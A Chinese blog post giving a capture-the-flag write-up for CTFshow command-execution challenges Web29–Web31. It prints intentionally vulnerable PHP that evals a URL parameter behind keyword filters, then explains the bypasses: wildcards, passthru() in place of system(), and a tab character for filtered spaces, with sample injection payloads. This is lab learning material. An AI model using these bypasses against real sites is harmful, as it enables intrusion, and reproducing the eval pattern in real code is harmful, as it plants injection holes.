0
点赞
收藏
分享

微信扫一扫

CTFshow——命令执行

暮晨夜雪 2022-02-20 阅读 74

目录

Web29

Web30

Web31

Web29

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看到,flag已经被过滤掉,先查看目录

我们可以使用通配符绕过flag的过滤

 

Web30

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }   
}else{
    highlight_file(__FILE__);
} 

这次除了flag同时还过滤了system函数和php

虽然system函数被过滤,但是在php中有三个专门执行外部命令的函数system(),exec(),passthru(),换一个函数进行查看目录,使用通配符即可

 

Web31

 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

查看源码,被禁用掉的关键词有flag,system,php,cat,sort,shell,点号、空格、单引号

发现之前所使用的passthru()函数并不影响。所以使用passthru()函数进行尝试,发现可以使用

?c=passthru("ls");
?c=passthru("nl%20`ls`");//不可行原因是因为%20经过url解码之后的结果是空格,而空格已经被过滤掉了
?c=passthru("nl%09`ls`");//解决方法就是将空格用其他组字符替换掉
举报

相关推荐

0 条评论